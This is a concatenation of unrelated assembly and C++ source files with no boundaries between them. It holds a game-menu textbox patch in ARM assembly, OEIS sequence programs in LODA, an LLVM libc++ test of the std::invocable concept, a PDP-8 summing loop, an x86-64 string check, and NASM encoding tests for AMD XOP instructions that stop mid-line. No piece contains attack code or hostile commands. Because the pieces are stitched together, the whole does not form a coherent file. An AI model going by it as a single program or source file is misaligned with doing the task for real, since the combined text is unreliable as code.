;;----------------------------------------------------------------------------;; ;; Align the position of the textbox in the express mission menu. ;; Copyright 2015 Benito Palacios (aka pleonex) ;; ;; Licensed under the Apache License, Version 2.0 (the "License"); ;; you may not use this file except in compliance with the License. ;; You may obtain a copy of the License at ;; ;; http://www.apache.org/licenses/LICENSE-2.0 ;; ;; Unless required by applicable law or agreed to in writing, software ;; distributed under the License is distributed on an "AS IS" BASIS, ;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ;; See the License for the specific language governing permissions and ;; limitations under the License. ;;----------------------------------------------------------------------------;; .arm ;; Given stamp for the mission .org 0x020AAF8C MOV R1, #0xCC + 23 ; X pos MOV R2, #0xAB ; Y pos ;; Number of mission in top screen .org 0x020AAEB0 MOV R1, #0x30 ; X pos MOV R2, #0xA - 2 ; Y pos
; A082290: Expansion of (1+x+x^2)/((1+x^2)*(1+x)^4*(1-x)^5). ; 1,2,6,9,19,26,46,59,94,116,172,206,290,340,460,530,695,790,1010,1135,1421,1582,1946,2149,2604,2856,3416,3724,4404,4776,5592,6036,7005,7530,8670,9285,10615,11330,12870,13695,15466,16412,18436,19514,21814,23036 mov $5,$0 mov $7,$0 add $7,1 lpb $7,1 clr $0,5 mov $0,$5 sub $7,1 sub $0,$7 lpb $0,1 mov $1,$0 cal $1,260220 ; Number of symmetry-allowed, linearly-independent terms at n-th order in the expansion of T1 x t1 rovibrational perturbation matrix H(Jx,Jy,Jz). sub $0,2 add $2,$1 lpe mov $1,$2 add $1,1 add $6,$1 lpe mov $1,$6
//===----------------------------------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // UNSUPPORTED: c++03, c++11, c++14, c++17 // UNSUPPORTED: libcpp-no-concepts // template<class T, class U> // concept invocable; #include <chrono> #include <concepts> #include <memory> #include <random> #include <type_traits> template <class R, class... Args> [[nodiscard]] constexpr bool check_invocable() { constexpr bool result = std::invocable<R(Args...), Args...>; static_assert(std::invocable<R(Args...) noexcept, Args...> == result); static_assert(std::invocable<R (*)(Args...), Args...> == result); static_assert(std::invocable<R (*)(Args...) noexcept, Args...> == result); static_assert(std::invocable<R (&)(Args...), Args...> == result); static_assert(std::invocable<R (&)(Args...) noexcept, Args...> == result); return result; } static_assert(check_invocable<void>()); static_assert(check_invocable<void, int>()); static_assert(check_invocable<void, int&>()); static_assert(check_invocable<void, int*, double>()); static_assert(check_invocable<int>()); static_assert(check_invocable<int, int[]>()); struct S; static_assert(check_invocable<int, int S::*, std::nullptr_t>()); static_assert(check_invocable<int, int (S::*)(), int (S::*)(int), int>()); static_assert(std::invocable<void (*)(int const&), int&>); static_assert(std::invocable<void (*)(int const&), int&&>); static_assert(std::invocable<void (*)(int volatile&), int&>); static_assert(std::invocable<void (*)(int const volatile&), int&>); static_assert(!std::invocable<void(), int>); static_assert(!std::invocable<void(int)>); static_assert(!std::invocable<void(int*), double*>); static_assert(!std::invocable<void (*)(int&), double*>); static_assert(std::invocable<int S::*, std::unique_ptr<S> >); static_assert(std::invocable<int S::*, std::shared_ptr<S> >); static_assert(!std::invocable<void (*)(int&&), int&>); static_assert(!std::invocable<void (*)(int&&), int const&>); static_assert(!std::invocable<void>); static_assert(!std::invocable<void*>); static_assert(!std::invocable<int>); static_assert(!std::invocable<int&>); static_assert(!std::invocable<int&&>); namespace function_objects { struct function_object { void operator()(); }; static_assert(std::invocable<function_object>); static_assert(!std::invocable<function_object const>); static_assert(!std::invocable<function_object volatile>); static_assert(!std::invocable<function_object const volatile>); static_assert(std::invocable<function_object&>); static_assert(!std::invocable<function_object const&>); static_assert(!std::invocable<function_object volatile&>); static_assert(!std::invocable<function_object const volatile&>); struct const_function_object { void operator()(int) const; }; static_assert(std::invocable<const_function_object, int>); static_assert(std::invocable<const_function_object const, int>); static_assert(!std::invocable<const_function_object volatile, int>); static_assert(!std::invocable<const_function_object const volatile, int>); static_assert(std::invocable<const_function_object&, int>); static_assert(std::invocable<const_function_object const&, int>); static_assert(!std::invocable<const_function_object volatile&, int>); static_assert(!std::invocable<const_function_object const volatile&, int>); struct volatile_function_object { void operator()(int, int) volatile; }; static_assert(std::invocable<volatile_function_object, int, int>); static_assert(!std::invocable<volatile_function_object const, int, int>); static_assert(std::invocable<volatile_function_object volatile, int, int>); static_assert( !std::invocable<volatile_function_object const volatile, int, int>); static_assert(std::invocable<volatile_function_object&, int, int>); static_assert(!std::invocable<volatile_function_object const&, int, int>); static_assert(std::invocable<volatile_function_object volatile&, int, int>); static_assert( !std::invocable<volatile_function_object const volatile&, int, int>); struct cv_function_object { void operator()(int[]) const volatile; }; static_assert(std::invocable<cv_function_object, int*>); static_assert(std::invocable<cv_function_object const, int*>); static_assert(std::invocable<cv_function_object volatile, int*>); static_assert(std::invocable<cv_function_object const volatile, int*>); static_assert(std::invocable<cv_function_object&, int*>); static_assert(std::invocable<cv_function_object const&, int*>); static_assert(std::invocable<cv_function_object volatile&, int*>); static_assert(std::invocable<cv_function_object const volatile&, int*>); struct lvalue_function_object { void operator()() &; }; static_assert(!std::invocable<lvalue_function_object>); static_assert(!std::invocable<lvalue_function_object const>); static_assert(!std::invocable<lvalue_function_object volatile>); static_assert(!std::invocable<lvalue_function_object const volatile>); static_assert(std::invocable<lvalue_function_object&>); static_assert(!std::invocable<lvalue_function_object const&>); static_assert(!std::invocable<lvalue_function_object volatile&>); static_assert(!std::invocable<lvalue_function_object const volatile&>); struct lvalue_const_function_object { void operator()(int) const&; }; static_assert(std::invocable<lvalue_const_function_object, int>); static_assert(std::invocable<lvalue_const_function_object const, int>); static_assert(!std::invocable<lvalue_const_function_object volatile, int>); static_assert( !std::invocable<lvalue_const_function_object const volatile, int>); static_assert(std::invocable<lvalue_const_function_object&, int>); static_assert(std::invocable<lvalue_const_function_object const&, int>); static_assert(!std::invocable<lvalue_const_function_object volatile&, int>); static_assert( !std::invocable<lvalue_const_function_object const volatile&, int>); struct lvalue_volatile_function_object { void operator()(int, int) volatile&; }; static_assert(!std::invocable<lvalue_volatile_function_object, int, int>); static_assert(!std::invocable<lvalue_volatile_function_object const, int, int>); static_assert( !std::invocable<lvalue_volatile_function_object volatile, int, int>); static_assert( !std::invocable<lvalue_volatile_function_object const volatile, int, int>); static_assert(std::invocable<lvalue_volatile_function_object&, int, int>); static_assert( !std::invocable<lvalue_volatile_function_object const&, int, int>); static_assert( std::invocable<lvalue_volatile_function_object volatile&, int, int>); static_assert( !std::invocable<lvalue_volatile_function_object const volatile&, int, int>); struct lvalue_cv_function_object { void operator()(int[]) const volatile&; }; static_assert(!std::invocable<lvalue_cv_function_object, int*>); static_assert(!std::invocable<lvalue_cv_function_object const, int*>); static_assert(!std::invocable<lvalue_cv_function_object volatile, int*>); static_assert(!std::invocable<lvalue_cv_function_object const volatile, int*>); static_assert(std::invocable<lvalue_cv_function_object&, int*>); static_assert(std::invocable<lvalue_cv_function_object const&, int*>); static_assert(std::invocable<lvalue_cv_function_object volatile&, int*>); static_assert(std::invocable<lvalue_cv_function_object const volatile&, int*>); // struct rvalue_function_object { void operator()() &&; }; static_assert(std::invocable<rvalue_function_object>); static_assert(!std::invocable<rvalue_function_object const>); static_assert(!std::invocable<rvalue_function_object volatile>); static_assert(!std::invocable<rvalue_function_object const volatile>); static_assert(!std::invocable<rvalue_function_object&>); static_assert(!std::invocable<rvalue_function_object const&>); static_assert(!std::invocable<rvalue_function_object volatile&>); static_assert(!std::invocable<rvalue_function_object const volatile&>); struct rvalue_const_function_object { void operator()(int) const&&; }; static_assert(std::invocable<rvalue_const_function_object, int>); static_assert(std::invocable<rvalue_const_function_object const, int>); static_assert(!std::invocable<rvalue_const_function_object volatile, int>); static_assert( !std::invocable<rvalue_const_function_object const volatile, int>); static_assert(!std::invocable<rvalue_const_function_object&, int>); static_assert(!std::invocable<rvalue_const_function_object const&, int>); static_assert(!std::invocable<rvalue_const_function_object volatile&, int>); static_assert( !std::invocable<rvalue_const_function_object const volatile&, int>); struct rvalue_volatile_function_object { void operator()(int, int) volatile&&; }; static_assert(std::invocable<rvalue_volatile_function_object, int, int>); static_assert(!std::invocable<rvalue_volatile_function_object const, int, int>); static_assert( std::invocable<rvalue_volatile_function_object volatile, int, int>); static_assert( !std::invocable<rvalue_volatile_function_object const volatile, int, int>); static_assert(!std::invocable<rvalue_volatile_function_object&, int, int>); static_assert( !std::invocable<rvalue_volatile_function_object const&, int, int>); static_assert( !std::invocable<rvalue_volatile_function_object volatile&, int, int>); static_assert( !std::invocable<rvalue_volatile_function_object const volatile&, int, int>); struct rvalue_cv_function_object { void operator()(int[]) const volatile&&; }; static_assert(std::invocable<rvalue_cv_function_object, int*>); static_assert(std::invocable<rvalue_cv_function_object const, int*>); static_assert(std::invocable<rvalue_cv_function_object volatile, int*>); static_assert(std::invocable<rvalue_cv_function_object const volatile, int*>); static_assert(!std::invocable<rvalue_cv_function_object&, int*>); static_assert(!std::invocable<rvalue_cv_function_object const&, int*>); static_assert(!std::invocable<rvalue_cv_function_object volatile&, int*>); static_assert(!std::invocable<rvalue_cv_function_object const volatile&, int*>); struct multiple_overloads { struct A {}; struct B { B(int); }; struct AB : A, B {}; struct O {}; void operator()(A) const; void operator()(B) const; }; static_assert(std::invocable<multiple_overloads, multiple_overloads::A>); static_assert(std::invocable<multiple_overloads, multiple_overloads::B>); static_assert(std::invocable<multiple_overloads, int>); static_assert(!std::invocable<multiple_overloads, multiple_overloads::AB>); static_assert(!std::invocable<multiple_overloads, multiple_overloads::O>); } // namespace function_objects namespace pointer_to_member_functions { // clang-format off template<class Member, class T, class... Args> [[nodiscard]] constexpr bool check_member_is_invocable() { constexpr bool result = std::invocable<Member, T, Args...>; using uncv_t = std::remove_cvref_t<T>; static_assert(std::invocable<Member, uncv_t*, Args...> == result); static_assert(std::invocable<Member, std::unique_ptr<uncv_t>, Args...> == result); static_assert(std::invocable<Member, std::reference_wrapper<uncv_t>, Args...> == result); static_assert(!std::invocable<Member, std::nullptr_t, Args...>); static_assert(!std::invocable<Member, int, Args...>); static_assert(!std::invocable<Member, int*, Args...>); static_assert(!std::invocable<Member, double*, Args...>); struct S2 {}; static_assert(!std::invocable<Member, S2*, Args...>); return result; } // clang-format on static_assert(check_member_is_invocable<int S::*, S>()); static_assert(std::invocable<int S::*, S&>); static_assert(std::invocable<int S::*, S const&>); static_assert(std::invocable<int S::*, S volatile&>); static_assert(std::invocable<int S::*, S const volatile&>); static_assert(std::invocable<int S::*, S&&>); static_assert(std::invocable<int S::*, S const&&>); static_assert(std::invocable<int S::*, S volatile&&>); static_assert(std::invocable<int S::*, S const volatile&&>); static_assert(check_member_is_invocable<int (S::*)(int), S, int>()); static_assert(!check_member_is_invocable<int (S::*)(int), S>()); using unqualified = void (S::*)(); static_assert(std::invocable<unqualified, S&>); static_assert(!std::invocable<unqualified, S const&>); static_assert(!std::invocable<unqualified, S volatile&>); static_assert(!std::invocable<unqualified, S const volatile&>); static_assert(std::invocable<unqualified, S&&>); static_assert(!std::invocable<unqualified, S const&&>); static_assert(!std::invocable<unqualified, S volatile&&>); static_assert(!std::invocable<unqualified, S const volatile&&>); static_assert(check_member_is_invocable<int (S::*)(double) const, S, double>()); using const_qualified = void (S::*)() const; static_assert(std::invocable<const_qualified, S&>); static_assert(std::invocable<const_qualified, S const&>); static_assert(!std::invocable<const_qualified, S volatile&>); static_assert(!std::invocable<const_qualified, S const volatile&>); static_assert(std::invocable<const_qualified, S&&>); static_assert(std::invocable<const_qualified, S const&&>); static_assert(!std::invocable<const_qualified, S volatile&&>); static_assert(!std::invocable<const_qualified, S const volatile&&>); static_assert( check_member_is_invocable<int (S::*)(double[]) volatile, S, double*>()); using volatile_qualified = void (S::*)() volatile; static_assert(std::invocable<volatile_qualified, S&>); static_assert(!std::invocable<volatile_qualified, S const&>); static_assert(std::invocable<volatile_qualified, S volatile&>); static_assert(!std::invocable<volatile_qualified, S const volatile&>); static_assert(std::invocable<volatile_qualified, S&&>); static_assert(!std::invocable<volatile_qualified, S const&&>); static_assert(std::invocable<volatile_qualified, S volatile&&>); static_assert(!std::invocable<volatile_qualified, S const volatile&&>); static_assert(check_member_is_invocable<int (S::*)(int, S&) const volatile, S, int, S&>()); using cv_qualified = void (S::*)() const volatile; static_assert(std::invocable<cv_qualified, S&>); static_assert(std::invocable<cv_qualified, S const&>); static_assert(std::invocable<cv_qualified, S volatile&>); static_assert(std::invocable<cv_qualified, S const volatile&>); static_assert(std::invocable<cv_qualified, S&&>); static_assert(std::invocable<cv_qualified, S const&&>); static_assert(std::invocable<cv_qualified, S volatile&&>); static_assert(std::invocable<cv_qualified, S const volatile&&>); static_assert(check_member_is_invocable<int (S::*)() &, S&>()); using lvalue_qualified = void (S::*)() &; static_assert(std::invocable<lvalue_qualified, S&>); static_assert(!std::invocable<lvalue_qualified, S const&>); static_assert(!std::invocable<lvalue_qualified, S volatile&>); static_assert(!std::invocable<lvalue_qualified, S const volatile&>); static_assert(!std::invocable<lvalue_qualified, S&&>); static_assert(!std::invocable<lvalue_qualified, S const&&>); static_assert(!std::invocable<lvalue_qualified, S volatile&&>); static_assert(!std::invocable<lvalue_qualified, S const volatile&&>); static_assert(check_member_is_invocable<int (S::*)() const&, S>()); using lvalue_const_qualified = void (S::*)() const&; static_assert(std::invocable<lvalue_const_qualified, S&>); static_assert(std::invocable<lvalue_const_qualified, S const&>); static_assert(!std::invocable<lvalue_const_qualified, S volatile&>); static_assert(!std::invocable<lvalue_const_qualified, S const volatile&>); static_assert(std::invocable<lvalue_const_qualified, S&&>); static_assert(std::invocable<lvalue_const_qualified, S const&&>); static_assert(!std::invocable<lvalue_const_qualified, S volatile&&>); static_assert(!std::invocable<lvalue_const_qualified, S const volatile&&>); static_assert(check_member_is_invocable<int (S::*)() volatile&, S&>()); using lvalue_volatile_qualified = void (S::*)() volatile&; static_assert(std::invocable<lvalue_volatile_qualified, S&>); static_assert(!std::invocable<lvalue_volatile_qualified, S const&>); static_assert(std::invocable<lvalue_volatile_qualified, S volatile&>); static_assert(!std::invocable<lvalue_volatile_qualified, S const volatile&>); static_assert(!std::invocable<lvalue_volatile_qualified, S&&>); static_assert(!std::invocable<lvalue_volatile_qualified, S const&&>); static_assert(!std::invocable<lvalue_volatile_qualified, S volatile&&>); static_assert(!std::invocable<lvalue_volatile_qualified, S const volatile&&>); static_assert(check_member_is_invocable<int (S::*)() const volatile&, S&>()); using lvalue_cv_qualified = void (S::*)() const volatile&; static_assert(std::invocable<lvalue_cv_qualified, S&>); static_assert(std::invocable<lvalue_cv_qualified, S const&>); static_assert(std::invocable<lvalue_cv_qualified, S volatile&>); static_assert(std::invocable<lvalue_cv_qualified, S const volatile&>); static_assert(!std::invocable<lvalue_cv_qualified, S&&>); static_assert(!std::invocable<lvalue_cv_qualified, S const&&>); static_assert(!std::invocable<lvalue_cv_qualified, S volatile&&>); static_assert(!std::invocable<lvalue_cv_qualified, S const volatile&&>); using rvalue_unqualified = void (S::*)() &&; static_assert(!std::invocable<rvalue_unqualified, S&>); static_assert(!std::invocable<rvalue_unqualified, S const&>); static_assert(!std::invocable<rvalue_unqualified, S volatile&>); static_assert(!std::invocable<rvalue_unqualified, S const volatile&>); static_assert(std::invocable<rvalue_unqualified, S&&>); static_assert(!std::invocable<rvalue_unqualified, S const&&>); static_assert(!std::invocable<rvalue_unqualified, S volatile&&>); static_assert(!std::invocable<rvalue_unqualified, S const volatile&&>); using rvalue_const_unqualified = void (S::*)() const&&; static_assert(!std::invocable<rvalue_const_unqualified, S&>); static_assert(!std::invocable<rvalue_const_unqualified, S const&>); static_assert(!std::invocable<rvalue_const_unqualified, S volatile&>); static_assert(!std::invocable<rvalue_const_unqualified, S const volatile&>); static_assert(std::invocable<rvalue_const_unqualified, S&&>); static_assert(std::invocable<rvalue_const_unqualified, S const&&>); static_assert(!std::invocable<rvalue_const_unqualified, S volatile&&>); static_assert(!std::invocable<rvalue_const_unqualified, S const volatile&&>); using rvalue_volatile_unqualified = void (S::*)() volatile&&; static_assert(!std::invocable<rvalue_volatile_unqualified, S&>); static_assert(!std::invocable<rvalue_volatile_unqualified, S const&>); static_assert(!std::invocable<rvalue_volatile_unqualified, S volatile&>); static_assert(!std::invocable<rvalue_volatile_unqualified, S const volatile&>); static_assert(std::invocable<rvalue_volatile_unqualified, S&&>); static_assert(!std::invocable<rvalue_volatile_unqualified, S const&&>); static_assert(std::invocable<rvalue_volatile_unqualified, S volatile&&>); static_assert(!std::invocable<rvalue_volatile_unqualified, S const volatile&&>); using rvalue_cv_unqualified = void (S::*)() const volatile&&; static_assert(!std::invocable<rvalue_cv_unqualified, S&>); static_assert(!std::invocable<rvalue_cv_unqualified, S const&>); static_assert(!std::invocable<rvalue_cv_unqualified, S volatile&>); static_assert(!std::invocable<rvalue_cv_unqualified, S const volatile&>); static_assert(std::invocable<rvalue_cv_unqualified, S&&>); static_assert(std::invocable<rvalue_cv_unqualified, S const&&>); static_assert(std::invocable<rvalue_cv_unqualified, S volatile&&>); static_assert(std::invocable<rvalue_cv_unqualified, S const volatile&&>); } // namespace pointer_to_member_functions // std::invocable-specific static_assert( std::invocable<std::uniform_int_distribution<>, std::mt19937_64&>); [[nodiscard]] constexpr bool check_lambda(auto, auto...) { return false; } // clang-format off template<class F, class... Args> requires std::invocable<F, Args...> [[nodiscard]] constexpr bool check_lambda(F, Args&&...) { return true; } // clang-format on [[nodiscard]] constexpr bool check_lambdas() { static_assert(check_lambda([] {})); static_assert(check_lambda([](int) {}, 0)); static_assert(check_lambda([](int) {}, 0L)); static_assert(!check_lambda([](int) {}, nullptr)); int i = 0; return check_lambda([](int&) {}, i); } static_assert(check_lambdas()); int main(int, char**) { return 0; }
; A002109: Hyperfactorials: Product_{k = 1..n} k^k. ; 1,1,4,108,27648,86400000,4031078400000,3319766398771200000,55696437941726556979200000,21577941222941856209168026828800000 lpb $0 mov $2,$0 sub $0,1 add $1,2 pow $2,$2 mul $1,$2 sub $1,2 lpe div $1,2 add $1,1 mov $0,$1
; A021588: Decimal expansion of 1/584. ; Submitted by Jon Maiga ; 0,0,1,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6,7,1,2,3,2,8,7,6 add $0,1 mov $2,10 pow $2,$0 div $2,584 mov $0,$2 mod $0,10
/ / Code Section / *0200 Main, cla cll / clear AC and Link tad N / load N cia / negate it dca Count / deposit it to Count and clear AC dca Index / zero out Index dca Sum / zero out sum Loop, isz Index / add 1 to Index tad Sum / load Sum tad Index / add in Index dca Sum / store result in Sum isz Count / increment Count and skip on zero jmp Loop / otherwise loop hlt / done jmp Main / allows easy restart / / Data Section / *0250 N, 10 Count, 0 Index, 0 Sum, 0 $Main / end of pgm - entry point
%include "debug.asm" section .text global str_isalpha str_isalpha: mov eax, 1 .loop_start: movzx ecx, byte [rdi] or ecx, 32 sub ecx, 'a' cmp ecx, 26 jae .return_false add rdi, 1 cmp byte [rdi], 0 jne .loop_start ret .return_false: xor eax, eax ret
; Instructions are ordered in XOP databook order ; BITS=16 to minimize output length [bits 16] vfrczpd xmm1, xmm2 ; 8F E9 78 81 312 vfrczpd xmm1, [0] ; 8F E9 78 81 016 00 00 vfrczpd xmm1, dqword [0] ; 8F E9 78 81 016 00 00 vfrczpd ymm1, ymm2 ; 8F E9 7C 81 312 vfrczpd ymm1, [0] ; 8F E9 7C 81 016 00 00 vfrczpd ymm1, yword [0] ; 8F E9 7C 81 016 00 00 vfrczps xmm1, xmm2 ; 8F E9 78 80 312 vfrczps xmm1, [0] ; 8F E9 78 80 016 00 00 vfrczps xmm1, dqword [0] ; 8F E9 78 80 016 00 00 vfrczps ymm1, ymm2 ; 8F E9 7C 80 312 vfrczps ymm1, [0] ; 8F E9 7C 80 016 00 00 vfrczps ymm1, yword [0] ; 8F E9 7C 80 016 00 00 vfrczsd xmm1, xmm2 ; 8F E9 78 83 312 vfrczsd xmm1, [0] ; 8F E9 78 83 016 00 00 vfrczsd xmm1, qword [0] ; 8F E9 78 83 016 00 00 vfrczss xmm1, xmm2 ; 8F E9 78 82 312 vfrczss xmm1, [0] ; 8F E9 78 82 016 00 00 vfrczss xmm1, dword [0] ; 8F E9 78 82 016 00 00 vpcmov xmm1, xmm2, xmm3, xmm4 ; 8F E8 68 A2 313 40 /or/ 8F E8 E8 A2 314 30 vpcmov xmm1, xmm2, xmm3, [0] ; 8F E8 E8 A2 016 00 00 30 vpcmov xmm1, xmm2, xmm3, dqword [0] ; 8F E8 E8 A2 016 00 00 30 vpcmov xmm1, xmm2, [0], xmm4 ; 8F E8 68 A2 016 00 00 40 vpcmov xmm1, xmm2, dqword [0], xmm4 ; 8F E8 68 A2 016 00 00 40 vpcmov ymm1, ymm2, ymm3, ymm4 ; 8F E8 6C A2 313 40 /or/ 8F E8 EC A2 314 30 vpcmov ymm1, ymm2, ymm3, [0] ; 8F E8 EC A2 016 00 00 30 vpcmov ymm1, ymm2, ymm3, yword [0] ; 8F E8 EC A2 016 00 00 30 vpcmov ymm1, ymm2, [0], ymm4 ; 8F E8 6C A2 016 00 00 40 vpcmov ymm1, ymm2, yword [0], ymm4 ; 8F E8 6C A2 016 00 00 40 vpcomb xmm1, xmm4, xmm7, 5 ; 8F E8 58 CC 317 05 vpcomb xmm2, xmm5, [0], byte 5 ; 8F E8 50 CC 026 00 00 05 vpcomb xmm3, xmm6, dqword [0], 5 ; 8F E8 48 CC 036 00 00 05 vpcomd xmm1, xmm4, xmm7, 5 ; 8F E8 58 CE 317 05 vpcomd xmm2, xmm5, [0], byte 5 ; 8F E8 50 CE 026 00 00 05 vpcomd xmm3, xmm6, dqword [0], 5 ; 8F E8 48 CE 036 00 00 05 vpcomq xmm1, xmm4, xmm7, 5 ; 8F E8 58 CF 317 05 vpcomq xmm2, xmm5, [0], byte 5 ; 8F E8 50 CF 026 00 00 05 vpcomq xmm3, xmm6, dqword [0], 5 ; 8F E8 48 CF 036 00 00 05 vpcomub xmm1, xmm4, xmm7, 5 ; 8F E8 58 EC 317 05 vpcomub xmm2, xmm5, [0], byte 5 ; 8F E8 50 EC 026 00 00 05 vpcomub xmm3, xmm6, dqword [0], 5 ; 8F E8 48 EC 036 00 00 05 vpcomud xmm1, xmm4, xmm7, 5 ; 8F E8 58 EE 317 05 vpcomud xmm2, xmm5, [0], byte 5 ; 8F E8 50 EE 026 00 00 05 vpcomud xmm3, xmm6, dqword [0], 5 ; 8F E8 48 EE 036 00 00 05 vpcomuq xmm1, xmm4, xmm7, 5 ; 8F E8 58 EF 317 05 vpcomuq xmm2, xmm5, [0], byte 5 ; 8F E8 50 EF 026 00 00 05 vpcomuq xmm3, xmm6, dqword [0], 5 ; 8F E8 48 EF 036 00 00 05 vpcomuw xmm1, xmm4, xmm7, 5 ; 8F E8 58 ED 317 05 vpcomuw xmm2, xmm5, [0], byte 5 ; 8F E8 50 ED 026 00 00 05 vpcomuw xmm3, xmm6, dqword [0], 5 ; 8F E8 48 ED 036 00 00 05 vpcomw xmm1, xmm4, xmm7, 5 ; 8F E8 58 CD 317 05 vpcomw xmm2, xmm5, [0], byte 5 ; 8F E8 50 CD 026 00 00 05 vpcomw xmm3, xmm6, dqword [0], 5 ; 8F E8 48 CD 036 00 00 05 vphaddbd xmm1, xmm2 ; 8F E9 78 C2 312 vphaddbd xmm1, [0] ; 8F E9 78 C2 016 00 00 vphaddbd xmm1, dqword [0] ; 8F E9 78 C2 016 00 00 vphaddbq xmm1, xmm2 ; 8F E9 78 C3 312 vphaddbq xmm1, [0] ; 8F E9 78 C3 016 00 00 vphaddbq xmm1, dqword [0] ; 8F E9 78 C3 016 00 00 vphaddbw xmm1, xmm2 ; 8F E9 78 C1 312 vphaddbw xmm1, [0] ; 8F E9 78 C1 016 00 00 vphaddbw xmm1, dqword [0] ; 8F E9 78 C1 016 00 00 vphadddq xmm1, xmm2 ; 8F E9 78 CB 312 vphadddq xmm1, [0] ; 8F E9 78 CB 016 00 00 vphadddq xmm1, dqword [0] ; 8F E9 78 CB 016 00 00 vphaddubd xmm1, xmm2 ; 8F E9 78 D2 312 vphaddubd xmm1, [0] ; 8F E9 78 D2 016 00 00 vphaddubd xmm1, dqword [0] ; 8F E9 78 D2 016 00 00 vphaddubq xmm1, xmm2 ; 8F E9 78 D3 312 vphaddubq xmm1, [0] ; 8F E9 78 D3 016 00 00 vphaddubq xmm1, dqword [0] ; 8F E9 78 D3 016 00 00 vphaddubw xmm1, xmm2 ; 8F E9 78 D1 312 vphaddubw xmm1, [0] ; 8F E9 78 D1 016 00 00 vphaddubw xmm1, dqword [0] ; 8F E9 78 D1 016 00 00 vphaddudq xmm1, xmm2 ; 8F E9 78 D8 312 vphaddudq xmm1, [0] ; 8F E9 78 D8 016 00 00 vphaddudq xmm1, dqword [0] ; 8F E9 78 D8 016 00 00 vphadduwd xmm1, xmm2 ; 8F E9 78 D6 312 vphadduwd xmm1, [0] ; 8F E9 78 D6 016 00 00 vphadduwd xmm1, dqword [0] ; 8F E9 78 D6 016 00 00 vphadduwq xmm1, xmm2 ; 8F E9 78 D7 312 vphadduwq xmm1, [0] ; 8F E9 78 D7 016 00 00 vphadduwq xmm1, dqword [0] ; 8F E9 78 D7 016 00 00 vphaddwd xmm1, xmm2 ; 8F E9 78 C6 312 vphaddwd xmm1, [0] ; 8F E9 78 C6 016 00 00 vphaddwd xmm1, dqword [0] ; 8F E9 78 C6 016 00 00 vphaddwq xmm1, xmm2 ; 8F E9 78 C7 312 vphaddwq xmm1, [0] ; 8F E9 78 C7 016 00 00 vphaddwq xmm1, dqword [0] ; 8F E9 78 C7 016 00 00 vphsubbw xmm1, xmm2 ; 8F E9 78 E1 312 vphsubbw xmm1, [0] ; 8F E9 78 E1 016 00 00 vphsubbw xmm1, dqword [0] ; 8F E9 78 E1 016 00 00 vphsubdq xmm1, xmm2 ; 8F E9 78 E3 312 vphsubdq xmm1, [0] ; 8F E9 78 E3 016 00 00 vphsubdq xmm1, dqword [0] ; 8F E9 78 E3 016 00 00 vphsubwd xmm1, xmm2 ; 8F E9 78 E2 312 vphsubwd xmm1, [0] ; 8F E9 78 E2 016 00 00 vphsubwd xmm1, dqword [0] ; 8F E9 78 E2 016 00 00 vpmacsdd xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 9E 317 30 vpmacsdd xmm2, xmm5, [0], xmm0 ; 8F E8 50 9E 026 00 00 00 vpmacsdd xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 9E 036 00 00 20 vpmacsdqh xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 9F 317 30 vpmacsdqh xmm2, xmm5, [0], xmm0 ; 8F E8 50 9F 026 00 00 00 vpmacsdqh xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 9F 036 00 00 20 vpmacsdql xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 97 317 30 vpmacsdql xmm2, xmm5, [0], xmm0 ; 8F E8 50 97 026 00 00 00 vpmacsdql xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 97 036 00 00 20 vpmacssdd xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 8E 317 30 vpmacssdd xmm2, xmm5, [0], xmm0 ; 8F E8 50 8E 026 00 00 00 vpmacssdd xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 8E 036 00 00 20 vpmacssdqh xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 8F 317 30 vpmacssdqh xmm2, xmm5, [0], xmm0 ; 8F E8 50 8F 026 00 00 00 vpmacssdqh xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 8F 036 00 00 20 vpmacssdql xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 87 317 30 vpmacssdql xmm2, xmm5, [0], xmm0 ; 8F E8 50 87 026 00 00 00 vpmacssdql xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 87 036 00 00 20 vpmacsswd xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 86 317 30 vpmacsswd xmm2, xmm5, [0], xmm0 ; 8F E8 50 86 026 00 00 00 vpmacsswd xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 86 036 00 00 20 vpmacssww xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 85 317 30 vpmacssww xmm2, xmm5, [0], xmm0 ; 8F E8 50 85 026 00 00 00 vpmacssww xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 85 036 00 00 20 vpmacswd xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 96 317 30 vpmacswd xmm2, xmm5, [0], xmm0 ; 8F E8 50 96 026 00 00 00 vpmacswd xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 96 036 00 00 20 vpmacsww xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 95 317 30 vpmacsww xmm2, xmm5, [0], xmm0 ; 8F E8 50 95 026 00 00 00 vpmacsww xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 95 036 00 00 20 vpmadcsswd xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 A6 317 30 vpmadcsswd xmm2, xmm5, [0], xmm0 ; 8F E8 50 A6 026 00 00 00 vpmadcsswd xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 A6 036 00 00 20 vpmadcswd xmm1, xmm4, xmm7, xmm3 ; 8F E8 58 B6 317 30 vpmadcswd xmm2, xmm5, [0], xmm0 ; 8F E8 50 B6 026 00 